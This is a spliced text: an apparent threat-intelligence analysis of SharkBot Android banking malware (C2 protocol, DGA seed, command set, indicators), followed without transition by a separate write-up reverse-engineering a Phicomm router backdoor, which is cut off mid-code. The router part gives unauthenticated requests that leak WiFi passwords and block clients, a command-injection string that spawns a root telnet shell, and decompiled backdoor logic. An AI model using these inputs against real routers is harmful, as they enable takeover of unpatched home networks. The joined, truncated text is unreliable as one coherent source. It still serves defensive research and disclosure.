The Cleafy blogpost stated that the main goal of SharkBot is to initiate money transfers (from compromised devices) via Automatic Transfer Systems (ATS). As far as we observed, this technique is an advanced attack technique which isn’t used regularly within Android malware. It enables adversaries to auto-fill fields in legitimate mobile banking apps and initate money transfers, where other Android banking malware, like Anatsa/Teabot or Oscorp, require a live operator to insert and authorize money transfers. This technique also allows adversaries to scale up their operations with minimum effort.

The ATS features allow the malware to receive a list of events to be simulated, and them will be simulated in order to do the money transfers. Since this features can be used to simulate touches/clicks and button presses, it can be used to not only automatically transfer money but also install other malicious applications or components. This is the case of the SharkBot version that we found in the Google Play Store, which seems to be a reduced version of SharkBot with the minimum required features, such as ATS, to install a full version of the malware some time after the initial install.

Because of the fact of being distributed via the Google Play Store as a fake Antivirus, we found that they have to include the usage of infected devices in order to spread the malicious app. SharkBot achieves this by abusing the ‘Direct Reply‘ Android feature. This feature is used to automatically send reply notification with a message to download the fake Antivirus app. This spread strategy abusing the Direct Reply feature has been seen recently in another banking malware called Flubot, discovered by ThreatFabric.

What is interesting and different from the other families is that SharkBot likely uses ATS to also bypass multi-factor authentication mechanisms, including behavioral detection like bio-metrics, while at the same time it also includes more classic features to steal user’s credentials.

Money and Credential Stealing features

SharkBot implements the four main strategies to steal banking credentials in Android:

  • Injections (overlay attack): SharkBot can steal credentials by showing a WebView with a fake log in website (phishing) as soon as it detects the official banking app has been opened.
  • Keylogging: Sharkbot can steal credentials by logging accessibility events (related to text fields changes and buttons clicked) and sending these logs to the command and control server (C2).
  • SMS intercept: Sharkbot has the ability to intercept/hide SMS messages.
  • Remote control/ATS: Sharkbot has the ability to obtain full remote control of an Android device (via Accessibility Services).

For most of these features, SharkBot needs the victim to enable the Accessibility Permissions & Services. These permissions allows Android banking malware to intercept all the accessibility events produced by the interaction of the user with the User Interface, including button presses, touches, TextField changes (useful for the keylogging features), etc. The intercepted accessibility events also allow to detect the foreground application, so banking malware also use these permissions to detect when a targeted app is open, in order to show the web injections to steal user’s credentials.

Delivery

Sharkbot is distributed via the Google Play Store, but also using something relatively new in the Android malware: ‘Direct reply‘ feature for notifications. With this feature, the C2 can provide as message to the malware which will be used to automatically reply the incoming notifications received in the infected device. This has been recently introduced by Flubot to distribute the malware using the infected devices, but it seems SharkBot threat actors have also included this feature in recent versions.

In the following image we can see the code of SharkBot used to intercept new notifications and automatically reply them with the received message from the C2.

In the following picture we can see the ‘autoReply’ command received by our infected test device, which contains a shortten Bit.ly link which redirects to the Google Play Store sample.

We detected the SharkBot reduced version published in the Google Play on 28th February, but the last update was on 10th February, so the app has been published for some time now. This reduced version uses a very similar protocol to communicate with the C2 (RC4 to encrypt the payload and Public RSA key used to encrypt the RC4 key, so the C2 server can decrypt the request and encrypt the response using the same key). This SharkBot version, which we can call SharkBotDropper is mainly used to download a fully featured SharkBot from the C2 server, which will be installed by using the Automatic Transfer System (ATS) (simulating click and touches with the Accessibility permissions).

This malicious dropper is published in the Google Play Store as a fake Antivirus, which really has two main goals (and commands to receive from C2):

  • Spread the malware using ‘Auto reply’ feature: It can receive an ‘autoReply’ command with the message that should be used to automatically reply any notification received in the infected device. During our research, it has been spreading the same Google Play dropper via a shorten Bit.ly URL.
  • Dropper+ATS: The ATS features are used to install the downloaded SharkBot sample obtained from the C2. In the following image we can see the decrypted response received from the C2, in which the dropper receives the command ‘b‘ to download the full SharkBot sample from the provided URL and the ATS events to simulate in order to get the malware installed.

With this command, the app installed from the Google Play Store is able to install and enable Accessibility Permissions for the fully featured SharkBot sample it downloaded. It will be used to finally perform the ATS fraud to steal money and credentials from the victims.

The fake Antivirus app, the SharkBotDropper, published in the Google Play Store has more than 1,000 downloads, and some fake comments like ‘It works good’, but also other comments from victims that realized that this app does some weird things.

Technical analysis

Protocol & C2

The protocol used to communicate with the C2 servers is an HTTP based protocol. The HTTP requests are made in plain, since it doesn’t use HTTPs. Even so, the actual payload with the information sent and received is encrypted using RC4. The RC4 key used to encrypt the information is randomly generated for each request, and encrypted using the RSA Public Key hardcoded in each sample. That way, the C2 can decrypt the encrypted key (rkey field in the HTTP POST request) and finally decrypt the sent payload (rdata field in the HTTP POST request).

If we take a look at the decrypted payload, we can see how SharkBot is simply using JSON to send different information about the infected device and receive the commands to be executed from the C2. In the following image we can see the decrypted RC4 payload which has been sent from an infected device.

Two important fields sent in the requests are:

  • ownerID
  • botnetID

Those parameters are hardcoded and have the same value in the analyzed samples. We think those values can be used in the future to identify different buyers of this malware, which based on our investigation is not being sold in underground forums yet.

Domain Generation Algorithm

SharkBot includes one or two domains/URLs which should be registered and working, but in case the hardcoded C2 servers were taken down, it also includes a Domain Generation Algorithm (DGA) to be able to communicate with a new C2 server in the future.

The DGA uses the current date and a specific suffix string (‘pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf’) to finally encode that in base64 and get the first 19 characters. Then, it append different TLDs to generate the final candidate domain.

The date elements used are:

  • Week of the year (v1.get(3) in the code)
  • Year (v1.get(1) in the code)

It uses the ‘+’ operator, but since the week of the year and the year are Integers, they are added instead of appended, so for example: for the second week of 2022, the generated string to be base64 encoded is: 2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = 2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = “2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”.

In previous versions of SharkBot (from November-December of 2021), it only used the current week of the year to generate the domain. Including the year to the generation algorithm seems to be an update for a better support of the new year 2022.

Commands

SharkBot can receive different commands from the C2 server in order to execute different actions in the infected device such as sending text messages, download files, show injections, etc. The list of commands it can receive and execute is as follows:

  • smsSend: used to send a text message to the specified phone number by the TAs
  • updateLib: used to request the malware downloads a new JAR file from the specified URL, which should contain an updated version of the malware
  • updateSQL: used to send the SQL query to be executed in the SQLite database which Sharkbot uses to save the configuration of the malware (injections, etc.)
  • stopAll: used to reset/stop the ATS feature, stopping the in progress automation.
  • updateConfig: used to send an updated config to the malware.
  • uninstallApp: used to uninstall the specified app from the infected device
  • changeSmsAdmin: used to change the SMS manager app
  • getDoze: used to check if the permissions to ignore battery optimization are enabled, and show the Android settings to disable them if they aren’t
  • sendInject: used to show an overlay to steal user’s credentials
  • getNotify: used to show the Notification Listener settings if they are not enabled for the malware. With this permissions enabled, Sharkbot will be able to intercept notifications and send them to the C2
  • APP_STOP_VIEW: used to close the specified app, so every time the user tries to open that app, the Accessibility Service with close it
  • downloadFile: used to download one file from the specified URL
  • updateTimeKnock: used to update the last request timestamp for the bot
  • localATS: used to enable ATS attacks. It includes a JSON array with the different events/actions it should simulate to perform ATS (button clicks, etc.)

Automatic Transfer System

One of the distinctive parts of SharkBot is that it uses a technique known as Automatic Transfer System (ATS). ATS is a relatively new technique used by banking malware for Android.

To summarize ATS can be compared with webinject, only serving a different purpose. Rather then gathering credentials for use/scale it uses the credentials for automatically initiating wire transfers on the endpoint itself (so without needing to log in and bypassing 2FA or other anti-fraud measures). However, it is very individually tailored and request quite some maintenance for each bank, amount, money mules etc. This is probably one of the reasons ATS isn’t that popular amongst (Android) banking malware.

How does it work?

Once a target logs into their banking app the malware would receive an array of events (clicks/touches, button presses, gestures, etc.) to be simulated in an specific order. Those events are used to simulate the interaction of the victim with the banking app to make money transfers, as if the user were doing the money transfer by himself.

This way, the money transfer is made from the device of the victim by simulating different events, which make much more difficult to detect the fraud by fraud detection systems.

IoCs

Sample Hashes:

  • a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper)
  • 9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1)

SharkBotDropper C2:

  • hxxp://statscodicefiscale[.]xyz/stats/

‘Auto/Direct Reply’ URL used to distribute the malware:

  • hxxps://bit[.]ly/34ArUxI

Google Play Store URL:

C2 servers/Domains for SharkBot:

  • n3bvakjjouxir0zkzmd[.]xyz (185.219.221.99)
  • mjayoxbvakjjouxir0z[.]xyz (185.219.221.99)

RSA Public Key used to encrypt RC4 key in SharkBot:

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2R7nRj0JMouviqMisFYt0F2QnScoofoR7svCcjrQcTUe7tKKweDnSetdz1A+PLNtk7wKJk+SE3tcVB7KQS/WrdsEaE9CBVJ5YmDpqGaLK9qZhAprWuKdnFU8jZ8KjNh8fXyt8UlcO9ABgiGbuyuzXgyQVbzFfOfEqccSNlIBY3s+LtKkwb2k5GI938X/4SCX3v0r2CKlVU5ZLYYuOUzDLNl6KSToZIx5VSAB3VYp1xYurRLRPb2ncwmunb9sJUTnlwypmBCKcwTxhsFVAEvpz75opuMgv8ba9Hs0Q21PChxu98jNPsgIwUn3xmsMUl0rNgBC3MaPs8nSgcT4oUXaVwIDAQAB

RSA Public Key used to encrypt RC4 Key in the Google Play SharkBotDropper:

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu9qo1QgM8FH7oAkCLkNO5XfQBUdl+pI4u2tvyFiZZ6hMZ07QnlYazgRmWcC5j5H2iV+74gQ9+1cgjnVSszGbIwVJOQAEZGRpSFT7BhAhA4+PTjH6CCkiyZTk7zURvgBCrXz6+B1XH0OcD4YUYs4OGj8Pd2KY6zVocmvcczkwiU1LEDXo3PxPbwOTpgJL+ySWUgnKcZIBffTiKZkry0xR8vD/d7dVHmZnhJS56UNefegm4aokHPmvzD9p9n3ez1ydzfLJARb5vg0gHcFZMjf6MhuAeihFMUfLLtddgo00Zs4wFay2mPYrpn2x2pYineZEzSvLXbnxuUnkFqNmMV4UJwIDAQAB

A Backdoor Lockpick

Reversing Phicomm’s Backdoor Protocols

TL;DR

  1. Phicomm’s router firmware has numerous critical vulnerabilities that can be chained together by a remote, unauthenticated attacker to gain a root shell on the device.
  2. Every Phicomm router firmware since at least 2017 exposes a cryptographically locked backdoor.
  3. I’ve analysed this backdoor’s network protocol through three distinct iterations, across eleven firmware versions.
  4. And I show how the backdoor’s cryptographic lock can be “picked” to grant a root shell to an attacker.
  5. Phicomm is no more. These devices will never be patched.
  6. Not only are Phicomm devices still on the market, but their surplus is being resold by other vendors, such as Wavlink, who occasionally neglect to reflash the device and ship it with the vulnerable Phicomm firmware.

A Phicomm in Wavlink’s Clothing

In early September, 2021, a fairly ordinary and inexpensive residential router came into the Zero Day research team’s possession.

The WAVLINK AC1200, an inexpensive WiFi Router.

It was branded as a Wavlink AC1200 WiFi Router, a model that you can find on Amazon for under $30.

When I plugged in the router and attempted to navigate the browser to its administrative interface — which, according to the sticker on the bottom of the router, should have been waiting for us at 192.168.10.1 –things took an unexpected turn. The router’s DHCP server, to begin with, had assigned us an address on the 192.168.2.0/24 subnet, with 192.168.2.1 as its default gateway.

And this is what was waiting to greet me:

This doesn’t look like WAVLINK firmware…

If the Amazon reviews for the WAVLINK AC1200 are anything to go by, I wasn’t alone in this particular situation.

Quite suspicious!

With a little help from Google Translate, I set about exploring this unexpected Phicomm interface. The System Status (系统状态) page identifies the device model as K2G, hardware version A1, running firmware version 22.6.3.20.

The System Status (系统状态) page in the Phicomm firmware’s administrative web UI.

An online search for “Phicomm K2G A1” turned up a few listings for this product, which indeed bears a striking resemblance to the “WAVLINK” router we’d received from Amazon. In many cases the item was listed as “discontinued”.

This looks familiar.
A familiar looking router, with the original Phicomm branding.
Do you see the difference? (The branding is the difference.)

I take a stab at reconstructing the story of how, exactly, K2G A1 routers with Phicomm firmware made their way to the market with WAVLINK branding in the Appendix to this post, but first let’s look at a few particularly interesting vulnerabilities in this misbegotten router.

How to Get the Wifi Password

It’s never a good idea to enable remote management on a residential router, but that rarely prevents vendors from offering this feature, and there will always be users unable to resist the temptation of exposing the controls to their LAN to the Internet at large, nominally protected by a flimsy password authentication mechanism at best.

Like many other residential routers, the Phicomm K2G A1 provides this feature, and a quick perusal of Shodan shows that remote management’s been enabled on many such devices.

If the user decides to enable remote management, the UI will suggest 8181 as the default port for the administrative web interface, and 255.255.255.255 as default netmask (which will expose port 8181 to the entire WAN, which in the case of most residential networks means the Internet).

A basic Shodan search suggests that plenty of users (most of them in China) have made precisely these choices when setting up their routers.

A shodan.io search, showing some results consistent with the remote management interface on certain Phicomm routers.
A shodan.io search for “port:8181 luci”, many of whose results bear a very close resemblance to the remote-management webserver on the Phicomm K2G router.

Access to the admin panel itself requires knowledge of the password that the user chose when setting up the router. Phicomm allows the user to save several seconds and ease the burden of memory by clicking a checkbox and setting the admin password to be the same as the 2.4GHz wireless password.

The Phicomm firmware’s administrative web server exposes a number of interfaces, such as /LocalMACConfig.asp or /wirelesssetup.asp, which can be used to get and set router configuration parameters without requiring any authentication whatsoever. This is especially hazardous when remote management has been enabled, since it effectively grants administrative control of several router settings to any passer-by on the internet, and discloses some highly sensitive information.

For example, if you’re curious what devices might be connected to the router’s local area network, all you need to do is issue a request to http://10.3.3.12:8181/LocalClientList.asp?action=get (assuming 10.3.3.12 is the router’s IP address and 8181 is its remote management port):

A screenshot showing how a LAN directory can be obtained from the management webserver without authentication.
Obtaining LAN information from the Phicomm management webserver, without authentication.

Here we see the Kali and pfSense VMs I’ve connected to the Phicomm router, along with an iPad that’s spoofing its MAC address.

But suppose we’d like to connect to this LAN ourselves. If the router’s nearby, we could try to connect to one of its WiFi networks. But how do we get the password? It turns out that all you need to do is ask and the router will gladly provide it:

Screenshot showing how the WiFi passwords can be obtained without authentication.
Obtaining the WiFi passwords from the remote management service without authentication.

If the owner of that router had taken Phicomm up on its suggestion that they use the same password for both the 2.4GHz wireless network and the administrative interface, then you now have remote administrative access to the router as well.

Screenshot of the Phicomm admin panel.
Phicomm explicitly offers to set the web admin password to the 2.4GHz WiFi password.

But even if you’re not so lucky, there are a number of setting operations that the pseudo-asp endpoints enable as well.

A screenshot of the Phicomm router’s web admin UI, showing the LAN information.
The LAN information page in the administrative web UI.
A screenshot showing how to rename hosts on the target’s LAN.
You can use the unauthenticated remote management endpoint to rename hosts on the target’s LAN.
The results of this renaming attack. This is a vector for pushing potentially malicious content into the administrative web UI.

If we were feeling a little less kind, or felt that this was a network that was best avoided and decided to take matters into our own hands, we could use the same interface to ban local users from the network.

We are also able to ban users from the LAN, from the WAN, without needing any prior authentication.
What the unfortunate client sees in their browser after being banned in this way.

This type of ban only bars access to the router and the WAN, and can be easily evaded by changing the client’s MAC address.

Changing the MAC address to evade the ban.

An unbanning request for a particular MAC address can be issued by setting BlockUser parameter to 0.

[+] Requesting url http://10.3.3.12:8181//LocalMACConfig.asp?action=set&BlockUser=0&MAC=A6%3aDC%3a5C%3aF6%3a2C%3a2B&IP=unknown&DeviceRename=kali&isBind=0&ifType=0&UpMax=0&DownMax=0&_=1642459782743
{'retMACConfigresult': {'ALREADYLOGIN': 0, 'MACConfigresult': 1}}
We see that the ban depends on the MAC address of the LAN-side client. We also see that this ban can be lifted in much the same way that it was imposed, by a WAN-side machine issuing unauthenticated requests.

The library responsible for handling these .asp endpoints is the lighttpd module, mod_mobileapp.so. Of the 68 or so endpoints defined by the administrative interface, 18 can be triggered without requiring any authentication from the user. These include wirelesssetup.asp and any bearing the prefix Local:

LocalCheckClientNumber.asp
LocalCheckDetectFinish.asp
LocalCheckInetHealthStatus.asp
LocalCheckInetLinkStatus.asp
LocalCheckInetSpeedStatus.asp
LocalCheckInterfacelink.asp
LocalCheckNetworkType.asp
LocalCheckRouterPassword.asp
LocalCheckWIFI.asp
LocalCheckWanStatus.asp
LocalCheckWifiPassword.asp
LocalCheckWirelessStatus.asp
LocalClientList.asp
LocalIndex.asp
LocalMACConfig.asp
LocalNetworkSet.asp
LocalStartAutodetect.asp
wirelesssetup.asp

Escalating from an Authenticated Admin Session to a Root Shell on the Router

Suppose that you’ve managed to access the admin panel on a Phicomm K2G A1 router, thanks to the careless exposure of the admin password through the non-authenticated /wirelesssetup.asp?action=get endpoint. Obtaining a root shell on the device is now fairly straightforward, due to a command injection vulnerability in the Phicomm interface, which appears to already be fairly well-known among Phicomm router hackers. Upantool has provided a comprehensive writeup documenting this attack vector (Google translate can be helpful here, if, like me, you can’t read Chinese).

A screenshot of a post-auth command injection attack, courtesy of UpanTool.

The command injection attack is triggered by submitting the string | /usr/sbin/telnetd -l /bin/login.sh where the firmware update menu asks for a time of day at which to check for updates. The router will pass the time of day given to a shell command, which it will run with root privileges, and the pipe symbol | will instruct it to send the output of the first command to a second, which is supplied by the attacker. The injected command, /usr/sbin/telnetd -l /bin/login.sh, opens a root shell that the attacker can connect to over telnet, on port 23.

This was indeed the method I used to obtain a root shell, explore the router’s runtime environment, and download its firmware to my workstation for further analysis. (I did this the easy way, by piping each block device through gzip and over netcat to my host, and then extracting the filesystems with binwalk.)

Verification that the command injection attack documented by UpanTool works.

The first thing I wanted to do when I got there was to look at the output of netstat -tunlp to see what other services might be listening on this device.

Using netstat on the router to find which services are listening on which UDP and TCP ports.

Notice the service listening on UDP port 21210, which netstat identifies as telnetd_startup. This service provides a cryptographically locked backdoor into the router, and in the next section, we’re going to see, first, how the lock works, and second, how to pick it.

Reverse Engineering the Phicomm Backdoor

The Phicomm telnetd_startup service superficially resembles Netgear’s telnetEnable daemon, and serves a similar purpose: to allow an authorized party to activate the telnet service, which will, in turn, provide that party with a root shell on the router. What distinguishes the Phicomm backdoor is not just its elaborate challenge-and-response protocol, but that it requires that the authorized party employ a private RSA key to unlock it. This requirement, however, is not foolproof, and a critical loophole in telnetd_startup allows an attacker to “pick” the cryptographic lock without any need of the key.

Initial State

telnetd_startup begins by listening unobtrusively on UDP port 21210. Until it receives a packet containing the magic 10-byte handshake, ABCDEF1234, it will remain completely silent. Nmap will report UDP port 21210 as open|filtered, and provide no clue as to what might be listening there.

Control flow diagram of the main event loop in the telnetd_startup binary.

If the service does receive the magic handshake, it will respond with a UDP packet of its own, carrying a 16-byte buffer. An analysis of the daemon’s binary code reveals the tell-tale constants of an MD5 hash function, which would be consistent with the length of 16 bytes.

Disassembly of the block of code in telnetd_startup that initializes the hasher used to produce the product-identifying message. This hasher can be recognized as MD5 by its tell-tale constants.

void md5_init(
uint *context)
{
*context = 0;
context[2] = 0x67452301;
context[1] = 0;
context[3] = 0xefcdab89;
context[4] = 0x98badcfe;
context[5] = 0x10325476;
return;
}
Control-flow diagram of the hashing function, recognizable as MD5.
void md5_add(uint *param_1,void *param_2,uint param_3)
{
uint uVar1;
uint uVar2;
uint __n;

uVar2 = (*param_1 << 0x17) >> 0x1a;
uVar1 = param_3 * 8 + *param_1;
__n = 0x40 - uVar2;
*param_1 = uVar1;
if (uVar1 < param_3 * 8) {
param_1[1] = param_1[1] + 1;
}
param_1[1] = param_1[1] + (param_3 >> 0x1d);
if (param_3 < __n) {
__n = 0;
}
else {
memcpy((void *)((int)param_1 + uVar2 + 0x18),param_2,__n);
FUN_00402004(param_1 + 2,param_1 + 6);
while( true ) {
uVar2 = 0;
if (param_3 < __n + 0x40) break;
FUN_00402004(param_1 + 2,(int)param_2 + __n);
__n = __n + 0x40;
}
}
memcpy((void *)((int)param_1 + uVar2 + 0x18),(void *)((int)param_2 + __n),param_3 - __n);
return;
}
The block of code responsible for sending the product-identifying hash back to the client that sends the router the initiating handshake token (“ABCDEF1234”).

With a bit of help and annotation, Ghidra decompiles that code block into the following C-code:

memset(&K2_COSTDOWN__VER_3.0_at_00414ba0,0,0x80);             memcpy(&K2_COSTDOWN__VER_3.0_at_00414ba0,"K2_COSTDOWN__VER_3.0",0x14);
memset(md5,0,0x58);
md5_init(md5);
md5_add(md5,&K2_COSTDOWN__VER_3.0_at_00414ba0,0x80);
md5_digest(md5,&HASH_OF_K2_COSTDOWN_at_4149a0);
MD5_HASH_OF_K2_COSTDOWN_STRING_COPY_at_401d30 = 0;
DAT_00414b74 = 0;
DAT_00414b78 = 0;
DAT_00414b7c = 0;
memcpy(&MD5_HASH_OF_K2_COSTDOWN_STRING_COPY_at_401d30,
&HASH_OF_K2_COSTDOWN_at_4149a0,
0x10);
sendto(SKT,
&MD5_HASH_OF_K2_COSTDOWN_STRING_COPY_at_401d30,
0x10,
0,
&src_addr,
addrlen);
CHECK_STATE_004147e0 = 0;

The string that gets hashed here is "K2_COSTDOWN__VER_3.0", a product identification string, which is first copied into a zeroed-out buffer 128 bytes in length. This can easily be verified.

Verification that the product-identifying message does indeed contain an MD5 hash of a descriptive string found in the telnetd_startup binary.

After this exchange, a global variable at address 0x004147e0 is switched from its initial value of 2 to 0, and the main loop of the server enters another iteration. What we’re looking at, here, is a finite state machine, and the handshake token, "ABCDEF1234" is what sends it from the initial state into the second.

Second State

Control flow diagram of the next stage of the protocol, where the second message received from the client is “decrypted” using a hard-coded public RSA key, a random secret is generated, and then the “decrypted” message is XORed with the random secret, which is then used to generate ephemeral passwords by the set_telnet_enable_keys() function.

In the second state, shown above, in basic block graph form, and below, decompiled into C code, five important things happen after the client replies to the message containing the product-identifying hash:

S = ingest_token(payload_buffer,2);
if (S != 2) {
memset(&PAYLOAD_00414af0,0,0x80);
memcpy(&PAYLOAD_00414af0,payload_buffer,number_of_bytes_received);
S = rsa_public_decrypt_payload();
if (S != 0) break;
CHECK_STATE_004147e0 = 1;
generate_random_plaintext();
rsa_encrypt_with_public_key();
sendto(SKT,&ENCRYPTED_at_4149f0,0x80,0,&src_addr,addrlen);
xor_decrypted_payload_with_plaintext();
set_telnet_enable_keys();
goto LAB_00401e1c;
}

1. Decryption of the client’s message with a public key

The reply, which is assumed to have been encrypted with the client’s private key, is then decrypted with a public RSA key that’s been hardcoded into the binary.

It’s unclear exactly what the designers of this algorithm expect the encrypted blob to contain, and indeed there’s nothing in what follows that would really constrain its contents in any way. This step to some extent resembles the authentication request stage of the SSH public key authentication protocol. This is where the client sends the server a request containing:

  1. the username,
  2. the public key to be used, and
  3. a signature

The signature is produced by first hashing a blob of data known to both parties — the username, for example, or session ID — and then encrypting that hash with the private key that corresponds to the public key sent (2). Something similar seems to be taking place at this stage of the Phicomm backdoor protocol, except that the content of the “signature” isn’t checked in any way. There’s no username, after all, for the client to provide, and just a single valid keypair in play, which determined by the server’s own hardcoded public key. (Thanks to my colleague, Katie Sexton, for highlighting this resemblance and helping me make sense of this stage of the protocol.)

Control flow graph of the function that “decrypts” the client’s message using the hardcoded public RSA key.

Note the constant 3 passed to the OpenSSL library function, RSA_public_decrypt, which specifies that no padding is to be used. This will make our lives a significantly easier in the near future.

int rsa_public_decrypt_payload(void)
{
RSA *rsa;
BIGNUM *a;
int n;
uint digest_len;
size_t length_of_decrypted_payload;
BIGNUM *local_18 [3];
rsa = RSA_new();
local_18[0] = BN_new();
a = BN_new();
BN_set_word(a,0x10001);
BN_hex2bn(local_18, "E541A631680C453DF31591A6E29382BC5EAC969DCFDBBCEA64CB49CBE36578845C507BF5E7A6BCD724AFA70 63CA754826E8D13DBA18A2359EB54B5BE3368158824EA316A495DDC3059C478B41ABF6B388451D38F3C6650C DB4590C1208B91F688D0393241898C1F05A6D500C7066298C6BA2EF310F6DB2E7AF52829E9F858691");
rsa->e = a;
rsa->n = local_18[0];
memset(&DECRYPTED_PAYLOAD_at_4149d0,0,0x20);
n = RSA_size(rsa);
digest_len = RSA_public_decrypt(n,
&PAYLOAD_00414af0,
&DECRYPTED_PAYLOAD_at_4149d0,
rsa,
RSA_NO_PADDING);
if (digest_len < 0x101) {
length_of_decrypted_payload = strlen(&DECRYPTED_PAYLOAD_at_4149d0);
n = -(length_of_decrypted_payload < 0x101 ^ 1);
}
else {
n = -1;
}
return n;
}

Bizarrely, telnetd_startup at no point compares the result of this “decryption” with anything. It seems to rest content so long as the decryption function doesn’t outright fail, or yield a buffer of more than 256 bytes in length – which I’m not quite sure is even possible in this context, barring an undetected bug.

The n-component of the public key is stored in the binary as a hexadecimal string, and can be easily retrieved with the strings tool. The e-component is the usual 0x10001.

$ strings -n 256 usr/bin/telnetd_startup       
E541A631680C453DF31591A6E29382BC5EAC969DCFDBBCEA64CB49CBE36578845C507BF5E7A6BCD724AFA7063CA754826E8D13DBA18A2359EB54B5BE3368158824EA316A495DDC3059C478B41ABF6B388451D38F3C6650CDB4590C1208B91F688D0393241898C1F05A6D500C7066298C6BA2EF310F6DB2E7AF52829E9F858691

An interesting question to ask, here, might be this: what’s the point of this initial exchange? An initial handshake is sent to the router, the router sends back a 16-byte message that uniquely identifies the model, and the router then expects the client to reply with a message encrypted with a particular key private key. Why the handshake ("ABCDEF1234")? Why the product-identifying hash? Why not begin the interaction with the signed or “privately encrypted” message? This protocol would make sense if the client, whoever that might be, is expected to be in possession of a database that associates each product-identifying hash it might receive with its own private RSA key. If this were to be the case, then we might be looking at a particular implementation of a general backdoor protocol.

2. A random secret is generated

A random secret consisting of exactly 31 printable ASCII characters is generated. That these characters are printable will turn out to be a helpful constraint.

Control-flow graph of the function that generates a random, 31-character secret.

3. The random secret is encrypted

The random secret is then encrypted using the hardcoded public RSA key, such that the only feasible way to decrypt it will be with the corresponding private key.

int rsa_encrypt_with_public_key(void)
{
RSA *rsa;
BIGNUM *a;
int iVar1;
BIGNUM *local_18 [3];
rsa = RSA_new();
local_18[0] = BN_new();
a = BN_new();
BN_set_word(a,0x10001);
BN_hex2bn(local_18, "E541A631680C453DF31591A6E29382BC5EAC969DCFDBBCEA64CB49CBE36578845C507BF5E7A6BCD724AFA70 63CA754826E8D13DBA18A2359EB54B5BE3368158824EA316A495DDC3059C478B41ABF6B388451D38F3C6650C DB4590C1208B91F688D0393241898C1F05A6D500C7066298C6BA2EF310F6DB2E7AF52829E9F858691");
rsa->e = a;
rsa->n = local_18[0];
memset(&ENCRYPTED_at_4149f0,0,0x80);
iVar1 = RSA_size(rsa);
iVar1 = RSA_public_encrypt(iVar1,
&RANDOMLY_GENERATED_PLAINTEXT_at_4149b0,
&ENCRYPTED_at_4149f0,
rsa,
3);
return iVar1 >> 0x1f;
}

4. The random, plaintext secret is XORed with the client’s message

This seems like a particularly strange move to me, a needless twist of complexity that, far from improving the security of the system, will afford a means for completely undoing it. The “decrypted” message received from the client in step 1 of state 2 — “decrypted”, remember, with the public key — is bitwise-xored with the random secret.

Control-flow graph of the function that calculates the bitwise-XOR of the random secret and the result of “decrypting” the client’s second message.
void xor_decrypted_payload_with_plaintext(void)
{
byte *pbVar1;
byte *pbVar2;
int i;
byte *pbVar3;

i = 0;
do {
pbVar1 = &DECRYPTED_PAYLOAD_at_4149d0 + i;
pbVar2 = &RANDOMLY_GENERATED_PLAINTEXT_at_4149b0 + i;
pbVar3 = &XORED_MSG_00414b80 + i;
i = i + 1;
*pbVar3 = *pbVar1 ^ *pbVar2;
} while (i != 0x20);
return;
}

5. The resulting string is used to construct ephemeral passwords

Here’s where things truly break down. The string produced by XORing the random plaintext secret with the client’s “decrypted” message is concatenated with two hardcoded salts: "+PERM" and "+TEMP". The resulting concatenations are then hashed with the same MD5 algorithm used earlier to produce the product identifier. The resulting 16-byte hashes are then set as the ephemeral passwords that, if correctly guessed, will allow the client to unlock the backdoor.

int set_telnet_enable_keys(void)
{
size_t xor_str_len;
char xor_str_perm [512];
char xor_str_temp [512];
uint md5 [22];

sprintf(xor_str_perm,"%s+PERM",&XORED_MSG_00414b80);
sprintf(xor_str_temp,"%s+TEMP",&XORED_MSG_00414b80);
memset(md5,0,0x58);
md5_init(md5);
xor_str_len = strlen(xor_str_perm);
md5_add(md5,xor_str_perm,xor_str_len);
md5_digest(md5,&TELNET_ENABLE_PERM_at_414c20);
md5_init(md5);
xor_str_len = strlen(xor_str_temp);
md5_add(md5,xor_str_temp,xor_str_len);
md5_digest(md5,&TELNET_ENABLE_TEMP_at_0x414c30);
return 0;
}

Can you see the problem here? Think it over. We’ll come back to this in a minute.

Verifying things in the GDB

Once I had a general idea of how all the pieces fit together, I wanted to test my understanding of things by pushing a static MIPS build of gdbserver to the router, and then step through the telnetd_startup state machine with gdb-multiarch and my favourite gdb extension library, gef.

As I understood it, it seemed that telnetd_startup was expecting me, the client, to decrypt its secret message using the private RSA key that corresponds to the public key coded into the binary. Since I did not, in fact, possess that key, and since OpenSSL’s RSA implementation seemed like a tough nut to crack, I figured that I could verify my conjectures by simply cheating. I learned that if I just use the debugger to grab the random plaintext secret from the buffer at address 0x004149b0, salt it with the suffix "+TEMP", MD5-hash it, and send back the result, then I am in fact able to drive the state machine to its final destination, where system("telnetd -l /bin/login.sh") is called and the backdoor is thrown wide open. So long as I chose, for my second message, a string that I knew would be “decrypted” into a buffer of null bytes by the hardcoded public RSA key — and this is rather easy to do — I knew that that method would produce the correct ephemeral password. This gave me a pretty good indication of what we need to do in order to open the backdoor without the assistance of a debugger, and without peeking at memory that, in a realistic scenario, an attacker would have no means of seeing.

Screenshot of a debugger session (gdb-multiarch + gef), a python REPL, and a telnet session that shows how by reading the random secret directly from memory we can calculate the ephemeral password needed to initialize a telnet session. The client’s second message, in this scenario, is chosen so that the hardcoded public RSA key “decrypts” it to a buffer of null bytes.

What this proves is that all we need to do in order to open the backdoor is to either discover the private RSA key, or else guess the 31-character secret string. The odds of guessing a random string at that length are abysmal, and so, armed with the public RSA key, I focussed, at first, on rummaging around the internet for some trace of that key (in various formats) in hopes that I might find the complete key pair just lying around. A long shot, sure, but worth checking. It did not, however, pay off.

At this point I still hadn’t quite noticed the critical loophole that I mentioned earlier. It came while I was patiently sketching out the protocol diagram, shown below.

The Backdoor Protocol

Here is a complete protocol diagram of the Phicomm backdoor, as apparently intended to be used:

Picking the Backdoor’s Lock

Remember how I said, regarding step 5 of state 2, that things break down in the construction of the two ephemeral passwords? The first thing to observe here is how the XORed strings are concatenated with the two salts:

sprintf(xor_str_perm,"%s+PERM",&XORED_MSG_00414b80);
sprintf(xor_str_temp,"%s+TEMP",&XORED_MSG_00414b80);

We can expand XORED_MSG_00414b80 to make its construction a bit clearer, like so:

sprintf(xor_str_temp, 
